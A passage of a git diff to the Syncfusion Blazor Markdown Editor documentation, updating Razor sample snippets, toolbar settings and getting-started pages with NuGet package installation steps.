     <RichTextEditorMarkdownOptions ListSyntax="@ListSyntax" FormatSyntax="@FormatSyntax" SelectionSyntax="@SelectionSyntax" />
 </SfRichTextEditor>
 
-@code{
+@code {
+
+    private string MarkdownValue = "The sample is configured with customized markdown syntax using the [RichTextEditorMarkdownOptions](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorMarkdownOptions.html).\nType the content and click the toolbar item to view customized markdown syntax.\n+ To make a phrase bold, you need to add two underscores before and after the phrase (e.g., __this text is bold__).";
 
-    private string MarkdownValue = "The sample is configured with customized markdown syntax using the [RichTextEditorMarkdownOptions](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorMarkdownOptions.html).\n    Type the content and click the toolbar item to view customized markdown syntax.\n    + To make a phrase bold, you need to add two underscores before and after the phrase (e.g., __this text is bold__).";
-    
     private Dictionary<string, string> ListSyntax { get; set; } = new Dictionary<string, string>()
     {
         { "UL", "+ " }
     };
+
     private Dictionary<string, string> FormatSyntax { get; set; } = new Dictionary<string, string>()
     {
-        { "Blockquote", "> " }
+        { "h1", "> " }
     };
-    
+
     private Dictionary<string, string> SelectionSyntax { get; set; } = new Dictionary<string, string>()
     {
         { "Bold", "__" },
         { "Italic", "_" }
     };
-}
\ No newline at end of file
+}
diff --git a/blazor/markdown-editor/code-snippet/markdown-custom-key-config.razor b/blazor/markdown-editor/code-snippet/markdown-custom-key-config.razor
index 0fca163d51..bb2400e6ee 100644
--- a/blazor/markdown-editor/code-snippet/markdown-custom-key-config.razor
+++ b/blazor/markdown-editor/code-snippet/markdown-custom-key-config.razor
@@ -1,16 +1,14 @@
 @using Syncfusion.Blazor.RichTextEditor
 
-<SfRichTextEditor KeyConfigure="@KeyConfig" Value="@MarkdownValue">
-  
-</SfRichTextEditor>
+<SfRichTextEditor KeyConfigure="@KeyConfig" Value="@MarkdownValue"></SfRichTextEditor>
 
 @code {
     
-    private string MarkdownValue = "The sample is configured with customized markdown syntax using the [RichTextEditorMarkdownOptions](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorMarkdownOptions.html).\n    Type the content and click the toolbar item to view customized markdown syntax.\n    + To make a phrase bold, you need to add two underscores before and after the phrase (e.g., __this text is bold__).";
+    private string MarkdownValue = "The sample is configured with customized markdown syntax using the [RichTextEditorMarkdownOptions](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorMarkdownOptions.html).\n Type the content and click the toolbar item to view customized markdown syntax.\n + To make a phrase bold, you need to add two underscores before and after the phrase (e.g., __this text is bold__).";
 
     private ShortcutKeys KeyConfig = new ShortcutKeys()
     {
         Bold = "ctrl+1",
         Italic = "ctrl+2"
     };
-}
\ No newline at end of file
+}
diff --git a/blazor/markdown-editor/code-snippet/markdown-expand-toolbar.razor b/blazor/markdown-editor/code-snippet/markdown-expand-toolbar.razor
index dfa1e5e013..9edb0c436a 100644
--- a/blazor/markdown-editor/code-snippet/markdown-expand-toolbar.razor
+++ b/blazor/markdown-editor/code-snippet/markdown-expand-toolbar.razor
@@ -6,8 +6,7 @@
 
 @code {
 
-    private string MarkdownValue { get; set; } = @"In Rich Text Editor, you click the toolbar buttons to format the words and 
-        the changes are visible immediately. Markdown is not like that. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add our own custom formation syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
+    private string MarkdownValue { get; set; } = @"Rich Text Editor formats text instantly using toolbar actions, whereas Markdown uses syntax to apply formatting. Markdown editing is supported when editorMode is set to **markdown**, allowing formatting via toolbar or keyboard. Custom Markdown syntax can also be added. This sample uses the <b>Marked</b> library to convert Markdown to HTML. [Sample link](https://blazor.syncfusion.com/demos/markdown-editor/overview).";
 
     private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
     {
diff --git a/blazor/markdown-editor/code-snippet/markdown-insert-image.razor b/blazor/markdown-editor/code-snippet/markdown-insert-image.razor
index dbd9e5f6f8..3c70b8c396 100644
--- a/blazor/markdown-editor/code-snippet/markdown-insert-image.razor
+++ b/blazor/markdown-editor/code-snippet/markdown-insert-image.razor
@@ -6,8 +6,8 @@
 
 @code {
     
-    private string MarkdownValue { get; set; } = @"In Rich Text Editor, you click the toolbar buttons to format the words and 
-        the changes are visible immediately. Markdown is not like that. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add our own custom formation syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
+    private string MarkdownValue { get; set; } = @"Rich Text Editor formats text instantly using toolbar actions, whereas Markdown uses syntax to apply formatting. Markdown editing is supported when editorMode is set to **markdown**, allowing formatting via toolbar or keyboard. Custom Markdown syntax can also be added. This sample uses the <b>Marked</b> library to convert Markdown to HTML.
+[Sample link](https://blazor.syncfusion.com/demos/markdown-editor/overview)";
 
     private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
     {
diff --git a/blazor/markdown-editor/code-snippet/markdown-insert-table.razor b/blazor/markdown-editor/code-snippet/markdown-insert-table.razor
index e9c55ca9e2..6090dbdcc1 100644
--- a/blazor/markdown-editor/code-snippet/markdown-insert-table.razor
+++ b/blazor/markdown-editor/code-snippet/markdown-insert-table.razor
@@ -6,11 +6,15 @@
 
 @code {
     
-    private string MarkdownValue { get; set; } = @"In Rich Text Editor, you click the toolbar buttons to format the words and 
-        the changes are visible immediately. Markdown is not like that. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add our own custom formation syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
+    private string MarkdownValue { get; set; } = @"Rich Text Editor formats text instantly using toolbar actions, whereas Markdown uses syntax to apply formatting. Markdown editing is supported when editorMode is set to **markdown**, allowing formatting via toolbar or keyboard. Custom Markdown syntax can also be added. This sample uses the <b>Marked</b> library to convert Markdown to HTML.
+[Sample link](https://blazor.syncfusion.com/demos/markdown-editor/overview)
+| Heading 1 | Heading 2 |
+|-----------|-----------|
+| Col A1    | Col A2    |
+| Col B1    | Col B2    |";
 
     private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
     {
         new ToolbarItemModel() { Command = ToolbarCommand.CreateTable }
     };
-}
+}
\ No newline at end of file
diff --git a/blazor/markdown-editor/code-snippet/markdown-key-configuration.razor b/blazor/markdown-editor/code-snippet/markdown-key-configuration.razor
new file mode 100644
index 0000000000..f78ff43de1
--- /dev/null
+++ b/blazor/markdown-editor/code-snippet/markdown-key-configuration.razor
@@ -0,0 +1,10 @@
+@using Syncfusion.Blazor.RichTextEditor
+
+<SfRichTextEditor EditorMode="EditorMode.Markdown" Value="@MarkdownValue"></SfRichTextEditor>
+
+@code {
+
+    private string MarkdownValue { get; set; } = @"In Rich Text Editor, you click the toolbar buttons to format the words and the changes are visible immediately. Markdown is not like that. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other.
+Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add our own custom formation syntax for the Markdown formation, [sample link](https://blazor.syncfusion.com/demos/markdown-editor/overview?theme=fluent2). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
+
+}
\ No newline at end of file
diff --git a/blazor/markdown-editor/code-snippet/markdown-mention-support.razor b/blazor/markdown-editor/code-snippet/markdown-mention-support.razor
index 29e8d1712d..2c3bfbb77c 100644
--- a/blazor/markdown-editor/code-snippet/markdown-mention-support.razor
+++ b/blazor/markdown-editor/code-snippet/markdown-mention-support.razor
@@ -1,6 +1,7 @@
 @using Syncfusion.Blazor.RichTextEditor
 @using Syncfusion.Blazor.DropDowns
-@using Markdig;
+@using Markdig
+
 <div class="control-section">
     @if (!IsPreview)
     {
diff --git a/blazor/markdown-editor/code-snippet/markdown-multirow-toolbar.razor b/blazor/markdown-editor/code-snippet/markdown-multirow-toolbar.razor
index 75ec093be0..a5a283c77c 100644
--- a/blazor/markdown-editor/code-snippet/markdown-multirow-toolbar.razor
+++ b/blazor/markdown-editor/code-snippet/markdown-multirow-toolbar.razor
@@ -6,8 +6,7 @@
 
 @code {
 
-    private string MarkdownValue { get; set; } = @"In Rich Text Editor, you click the toolbar buttons to format the words and 
-        the changes are visible immediately. Markdown is not like that. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add our own custom formation syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
+    private string MarkdownValue { get; set; } = @"Rich Text Editor formats text instantly using toolbar actions, whereas Markdown uses syntax to apply formatting. Markdown editing is supported when editorMode is set to **markdown**, allowing formatting via toolbar or keyboard. Custom Markdown syntax can also be added. This sample uses the <b>Marked</b> library to convert Markdown to HTML. [Sample link](https://blazor.syncfusion.com/demos/markdown-editor/overview).";
 
     private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
     {
diff --git a/blazor/markdown-editor/code-snippet/markdown-popup-toolbar.razor b/blazor/markdown-editor/code-snippet/markdown-popup-toolbar.razor
new file mode 100644
index 0000000000..0f701fd64b
--- /dev/null
+++ b/blazor/markdown-editor/code-snippet/markdown-popup-toolbar.razor
@@ -0,0 +1,33 @@
+@using Syncfusion.Blazor.RichTextEditor
+
+<SfRichTextEditor EditorMode="EditorMode.Markdown" value="@MarkdownValue" Width="500px">
+    <RichTextEditorToolbarSettings Items="@Tools" Type="ToolbarType.Popup" />
+</SfRichTextEditor>
+
+@code {
+
+    private string MarkdownValue { get; set; } = @"Rich Text Editor formats text instantly using toolbar actions, whereas Markdown uses syntax to apply formatting. Markdown editing is supported when editorMode is set to **markdown**, allowing formatting via toolbar or keyboard. Custom Markdown syntax can also be added. This sample uses the <b>Marked</b> library to convert Markdown to HTML. [Sample link](https://blazor.syncfusion.com/demos/markdown-editor/overview).";
+
+    private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
+    {
+        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
+        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
+        new ToolbarItemModel() { Command = ToolbarCommand.StrikeThrough },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
+        new ToolbarItemModel() { Command = ToolbarCommand.SuperScript },
+        new ToolbarItemModel() { Command = ToolbarCommand.SubScript },
+        new ToolbarItemModel() { Command = ToolbarCommand.Blockquote },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.OrderedList },
+        new ToolbarItemModel() { Command = ToolbarCommand.UnorderedList },
+        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
+        new ToolbarItemModel() { Command = ToolbarCommand.Image },
+        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable },
+        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
+        new ToolbarItemModel() { Command = ToolbarCommand.FullScreen },
+        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
+        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
+        new ToolbarItemModel() { Command = ToolbarCommand.Redo }
+    };
+}
\ No newline at end of file
diff --git a/blazor/markdown-editor/code-snippet/markdown-preview.razor b/blazor/markdown-editor/code-snippet/markdown-preview.razor
index d37745e6e8..d5f97753e5 100644
--- a/blazor/markdown-editor/code-snippet/markdown-preview.razor
+++ b/blazor/markdown-editor/code-snippet/markdown-preview.razor
@@ -1,5 +1,5 @@
 @using Syncfusion.Blazor.RichTextEditor
-@using Markdig;
+@using Markdig
 
 <div class="control-section">
     @if (!IsPreview)
diff --git a/blazor/markdown-editor/code-snippet/markdown-scrollable-toolbar.razor b/blazor/markdown-editor/code-snippet/markdown-scrollable-toolbar.razor
index f4391cf079..afac950351 100644
--- a/blazor/markdown-editor/code-snippet/markdown-scrollable-toolbar.razor
+++ b/blazor/markdown-editor/code-snippet/markdown-scrollable-toolbar.razor
@@ -6,8 +6,7 @@
 
 @code {
 
-    private string MarkdownValue { get; set; } = @"In Rich Text Editor, you click the toolbar buttons to format the words and 
-        the changes are visible immediately. Markdown is not like that. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add our own custom formation syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
+    private string MarkdownValue { get; set; } = @"Rich Text Editor formats text instantly using toolbar actions, whereas Markdown uses syntax to apply formatting. Markdown editing is supported when editorMode is set to **markdown**, allowing formatting via toolbar or keyboard. Custom Markdown syntax can also be added. This sample uses the <b>Marked</b> library to convert Markdown to HTML. [Sample link](https://blazor.syncfusion.com/demos/markdown-editor/overview).";
 
     private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
     {
diff --git a/blazor/markdown-editor/code-snippet/markdown-sticky-toolbar.razor b/blazor/markdown-editor/code-snippet/markdown-sticky-toolbar.razor
index 796c41b45d..7d8c9979e4 100644
--- a/blazor/markdown-editor/code-snippet/markdown-sticky-toolbar.razor
+++ b/blazor/markdown-editor/code-snippet/markdown-sticky-toolbar.razor
@@ -6,7 +6,6 @@
 
 @code{
 
-    private string MarkdownValue { get; set; } = @"In Rich Text Editor, you click the toolbar buttons to format the words and 
-        the changes are visible immediately. Markdown is not like that. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add our own custom formation syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
+    private string MarkdownValue { get; set; } = @"Rich Text Editor formats text instantly using toolbar actions, whereas Markdown uses syntax to apply formatting. Markdown editing is supported when editorMode is set to **markdown**, allowing formatting via toolbar or keyboard. Custom Markdown syntax can also be added. This sample uses the <b>Marked</b> library to convert Markdown to HTML. [Sample link](https://blazor.syncfusion.com/demos/markdown-editor/overview).";
 
 }
\ No newline at end of file
diff --git a/blazor/markdown-editor/custom-format.md b/blazor/markdown-editor/custom-format.md
index 241c84a67f..d8bdfa4fdc 100644
--- a/blazor/markdown-editor/custom-format.md
+++ b/blazor/markdown-editor/custom-format.md
@@ -25,7 +25,7 @@ You can define custom symbols for various Markdown formatting options:
 The following example demonstrates how to customize Markdown tags in the editor:
 
 {% tabs %}
-{% highlight cshtml %}
+{% highlight razor %}
 
 {% include_relative code-snippet/markdown-custom-formats.razor %}
 
@@ -36,4 +36,4 @@ The following example demonstrates how to customize Markdown tags in the editor:
 
 ![Blazor RichTextEditor markdown custom format](./images/blazor-richtexteditor-markdown-custom-formats.png)
 
-![Blazor RichTextEditor markdown custom selection](./images/blazor-richtexteditor-markdown-custom-bold.png)
+![Blazor RichTextEditor markdown custom selection](./images/blazor-richtexteditor-markdown-custom-italic.png)
diff --git a/blazor/markdown-editor/getting-started-webapp.md b/blazor/markdown-editor/getting-started-webapp.md
index f68522b372..b93a519a9c 100644
--- a/blazor/markdown-editor/getting-started-webapp.md
+++ b/blazor/markdown-editor/getting-started-webapp.md
@@ -3,7 +3,7 @@ layout: post
 title: Getting started with Syncfusion Markdown Editor in Blazor Web App
 description: Check out the documentation for getting started with Syncfusion Blazor Markdown Editor Components in Blazor Web App.
 platform: Blazor
-control: RichTextEditor
+control: MarkdownEditor
 documentation: ug
 ---
 
@@ -87,12 +87,34 @@ N> Configure the appropriate [Interactive render mode](https://learn.microsoft.c
 
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install the following NuGet packages in your project:
 
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
+* [Syncfusion.Blazor.RichTextEditor](https://www.nuget.org/packages/Syncfusion.Blazor.RichTextEditor)  
+* [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes)
+
+You can install these packages using different methods as shown below:
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Manage NuGet Packages for Solution**
+2. Search for the required packages.
+3. Select the package and click **Install**.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio (Package Manager Console) %}
+
+1. In Visual Studio Navigate to:
+
+   **Tools → NuGet Package Manager → Package Manager Console**
+2. Run the following commands:
 
 {% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
+{% highlight C# tabtitle="Install Packages" %}
 
 Install-Package Syncfusion.Blazor.RichTextEditor -Version {{ site.releaseversion }}
 Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
@@ -100,6 +122,29 @@ Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 {% endhighlight %}
 {% endtabs %}
 
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code / .NET CLI %}
+
+1. Open your project.
+2. Open the terminal:
+   - In Visual Studio Code: use the integrated terminal (<kbd>Ctrl</kbd> + <kbd>`</kbd>)
+   - Or use any system terminal for CLI
+3. Run the following commands:
+
+{% tabs %}
+{% highlight C# tabtitle="Install Packages" %}
+
+dotnet add package Syncfusion.Blazor.RichTextEditor --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+
+{% endtabcontents %}
+
 If using the `WebAssembly` or `Auto` render modes in the Blazor Web App, install these packages in the client project.
 
 N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
@@ -156,176 +201,38 @@ Add the Syncfusion Blazor Markdown Editor component in the **~/Components/Pages/
 N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssembly`, the render mode is automatically configured in the `App.razor` file by default.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @* Define the desired render mode here *@
 @rendermode InteractiveAuto
 
-{% endhighlight %}
-{% endtabs %}
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
+@using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor EditorMode="EditorMode.Markdown" value="@MarkdownValue"></SfRichTextEditor>
 
 @code {
-    private string MarkdownValue { get; set; } = @"In Rich Text Editor, you click the toolbar buttons to format the words and 
-    the changes are visible immediately. In contrast, Markdown requires syntax to indicate formatting. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add your own custom formatting syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
+    private string MarkdownValue { get; set; } = @"Rich Text Editor formats text instantly using toolbar actions, whereas Markdown uses syntax to apply formatting. Markdown editing is supported when editorMode is set to **markdown**, allowing formatting via toolbar or keyboard. Custom Markdown syntax can also be added. This sample uses the <b>Marked</b> library to convert Markdown to HTML. [Sample link](https://blazor.syncfusion.com/demos/markdown-editor/overview).";
 
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Markdown Editor component in the default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjrIDqWvVJQriizU?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor Markdown Editor Component](./images/blazor-markdownteditor.png)" %}
-
-## Configure the Toolbar
+To launch the application, press <kbd>Ctrl</kbd>+<kbd>F5</kbd> in Visual Studio, run `dotnet run` from the CLI or integrated terminal in VS Code, or use the Run command in your preferred IDE to render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Markdown Editor component in the default web browser.
 
-Configure the toolbar with the tools using [RichTextEditorToolbarSettings.Items](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.RichTextEditorToolbarSettings.html#Syncfusion_Blazor_RichTextEditor_RichTextEditorToolbarSettings_Items) property as your application requires.
+N> When using the .NET CLI or Visual Studio Code, ensure that you run the application from the **server (host) project directory**, not from the `.Client` project. The client project does not run independently and is hosted by the server application.
 
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfRichTextEditor EditorMode="EditorMode.Markdown" value="@MarkdownValue">
-    <RichTextEditorToolbarSettings Items="@Tools" />
-</SfRichTextEditor>
-      
-@code {
-
-    private string MarkdownValue { get; set; } = @"In Rich Text Editor, you click the toolbar buttons to format the words and 
-    the changes are visible immediately. In contrast, Markdown requires syntax to indicate formatting. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add your own custom formatting syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
-
-    private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
-    {
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
-        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
-        new ToolbarItemModel() { Command = ToolbarCommand.StrikeThrough },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
-        new ToolbarItemModel() { Command = ToolbarCommand.SuperScript },
-        new ToolbarItemModel() { Command = ToolbarCommand.SubScript },
-        new ToolbarItemModel() { Command = ToolbarCommand.Blockquote },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.OrderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.UnorderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
-        new ToolbarItemModel() { Command = ToolbarCommand.Image },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable },
-        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
-        new ToolbarItemModel() { Command = ToolbarCommand.FullScreen },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo }
-    };
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZVotqWlVILIIHdX?appbar=true&editor=true&result=true&errorlist=true&theme=bootstrap5" backgroundimage "[Blazor Markdown Editor with Toolbar](./images/blazor-markdownteditor-toolbar.png)" %}
-
-## Retrieve the formatted content
-
-To retrieve the contents of the Markdown editor, use the [Value](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_Value) property of the Rich Text Editor.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Buttons
-@using Syncfusion.Blazor.RichTextEditor
-@using Syncfusion.Blazor.Popups
-
-<SfButton @onclick="@GetValue">Get Value</SfButton>
-
-<br />
-<SfDialog @ref="DialogObj" @bind-Visible="@Visibility" Content="@Content" Header="@Header" Target="#target" Height="200px" Width="400px" ShowCloseIcon="true">
-    <DialogButtons>
-        <DialogButton Content="Ok" IsPrimary="true" OnClick="@DlgButtonClick" />
-    </DialogButtons>
-</SfDialog>
-
-<SfRichTextEditor @ref="RteObj" Value="@RteValue" EditorMode="EditorMode.Markdown"/>
-
-@code {
-    SfRichTextEditor RteObj;
-    SfDialog DialogObj;
-    private string Content;
-    private bool Visibility = false;
-    private string Header = "Markdown Editor Value";
-    private string RteValue = @" In Rich Text Editor, you click the toolbar buttons to format the words and 
-        the changes are visible immediately. In contrast, Markdown requires syntax to indicate formatting. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add your own custom formatting syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
-    private async Task GetValue()
-    {
-        this.Content = this.RteValue;
-        await this.DialogObj.ShowAsync();
-    }
-    private async Task DlgButtonClick(object arg)
-    {
-    await this.DialogObj.HideAsync();
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## Retrieve the number of characters
-
-To retrieve the maximum number of characters in the Markdown Editor's content, use the [GetCharCount](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_GetCharCountAsync) method of the Rich Text Editor.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Buttons
-@using Syncfusion.Blazor.RichTextEditor
-@using Syncfusion.Blazor.Popups
-
-<SfButton @onclick="@GetCharCount">Get Char Count</SfButton>
-
-<br />
-<SfDialog @ref="DialogObj" @bind-Visible="@Visibility" Content="@Content" Header="@Header" Target="#target" Height="200px"
-          Width="400px" ShowCloseIcon="true">
-    <DialogButtons>
-        <DialogButton Content="Ok" IsPrimary="true" OnClick="@DlgButtonClick" />
-    </DialogButtons>
-
-</SfDialog>
-<SfRichTextEditor @ref="RteObj" Value="@RteValue" EditorMode="EditorMode.Markdown"/>
-
-@code {
-    SfRichTextEditor RteObj;
-    SfDialog DialogObj;
-    private string Content;
-    private bool Visibility = false;
-    private string Header = "Rich Text Editor's Value";
-    private string RteValue = @"In Rich Text Editor, you click the toolbar buttons to format the words and 
-    the changes are visible immediately. In contrast, Markdown requires syntax to indicate formatting. When you format the word in Markdown format, you need to add Markdown syntax to the word to indicate which words and phrases should look different from each other. Rich Text Editor supports markdown editing when the editorMode set as **markdown** and using both *keyboard interaction* and *toolbar action*, you can apply the formatting to text. You can add your own custom formatting syntax for the Markdown formation, [sample link](https://ej2.syncfusion.com/home/). The third-party library <b>Marked</b> is used in this sample to convert markdown into HTML content.";
-    private async Task GetCharCount()
-    {
-        double charCount = await this.RteObj.GetCharCountAsync();
-        this.Content = charCount.ToString(); // Convert double to string
-        await this.DialogObj.ShowAsync();
-    }
-    private async Task DlgButtonClick(object arg)
-    {
-        await this.DialogObj.HideAsync();
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNrnjSBwgamUlaQo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Markdown Editor Component](./images/blazor-markdownteditor.png)" %}
 
 ## See also
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in .NET Core CLI](../getting-started/blazor-webassembly-dotnet-cli)
-
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for server-side in Visual Studio](../getting-started/blazor-server-side-visual-studio)
+* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Web app in .NET Core CLI](../getting-started/blazor-web-app-dotnet-cli)
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for server-side in .NET Core CLI](../getting-started/blazor-server-side-dotnet-cli)
 
-* [How to insert Emoticons](https://blazor.syncfusion.com/demos/rich-text-editor/insert-emoticons?theme=bootstrap5)
+* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Web app](../getting-started/blazor-web-app)
+
+* [How to insert special characters](https://blazor.syncfusion.com/demos/rich-text-editor/insert-special-characters?theme=bootstrap5)
 
 * [Blog posting using Rich Text Editor](https://blazor.syncfusion.com/demos/rich-text-editor/usecase?theme=bootstrap5)
 
diff --git a/blazor/markdown-editor/getting-started-with-server-app.md b/blazor/markdown-editor/getting-started-with-server-app.md
index 482730716f..6ef36bca37 100644
--- a/blazor/markdown-editor/getting-started-with-server-app.md
+++ b/blazor/markdown-editor/getting-started-with-server-app.md
@@ -3,7 +3,7 @@ layout: post
 title: Getting started with Syncfusion Markdown Editor in Blazor Server App
 description: Check out the documentation for getting started with Syncfusion Blazor Markdown Editor Components in Blazor Server App.
 platform: Blazor
